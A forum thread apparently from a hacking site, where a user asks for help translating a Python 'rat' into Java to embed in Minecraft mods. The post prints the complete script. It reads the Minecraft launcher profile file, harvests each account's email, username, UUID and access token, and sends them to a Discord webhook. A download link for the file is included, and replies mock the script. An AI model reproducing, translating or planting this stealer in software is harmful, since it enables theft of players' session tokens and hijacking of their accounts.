Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Java 

Translation of code from python to Java (rat)

Hi (I use google translate)

it will be to know if someone can translate this code into java (it's a rat for minecraft mods)
it's python for now or if someone can make me a rat of a minecraft mod or we just have to change the weebhook

Thank you ✌











import json
import os
from urllib.request import Request, urlopen

# your webhook URL
WEBHOOK_URL = "Webhook here"

# mentions you when you get a hit
PING_ME = True

def uuid_dashed(uuid):
return f"{uuid[0:8]}-{uuid[8:12]}-{uuid[12:16]}-{uuid[16:21]}-{uuid[21:32]}"

def main():
auth_db = json.loads(open(os.getenv("APPDATA") + "\\.minecraft\\launcher_profiles.json").read())["authenticationDatabase"]

embeds = []

for x in auth_db:
try:
email = auth_db[x].get("username")
uuid, display_name_object = list(auth_db[x]["profiles"].items())[0]
embed = {
"fields": [
{"name": "Email", "value": email if email and "@" in email else "N/A", "inline": False},
{"name": "Username", "value": display_name_object["displayName"].replace("_", "\\_"), "inline": True},
{"name": "UUID", "value": uuid_dashed(uuid), "inline": True},
{"name": "Token", "value": auth_db[x]["accessToken"], "inline": True}
]
}
embeds.append(embed)
except:
pass

headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
}

payload = json.dumps({"embeds": embeds, "content": "@everyone" if PING_ME else ""})

try:
req = Request(WEBHOOK_URL, data=payload.encode(), headers=headers)
urlopen(req)
except:
pass

if_name_ == "__main__":
main()


mediafire.com/file/6rsczsfk3bmd0xx/rat_python.py/file

if you want download the py file
this shit is so fucking common you don't need to translate it.
this """rat""" is retarded and so are you.
i think copilot cand now translate from one lang to another but not sure though
Thank you dunesofsand


[Image: OI3S9y4.png]
You play hypixel skyblock lol?


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by Bass_ReevesAug 20, 2023 01:44 AM 9 632 Aug 20, 2023 01:44 AM
Last Post: Lucky4L
[Python] by mikehackMay 9, 2022 11:12 AM 2 151 May 9, 2022 11:12 AM
Last Post: mikehack
[C] by FhackMar 19, 2022 04:11 PM 27 972 Mar 19, 2022 04:11 PM
Last Post: focuswow35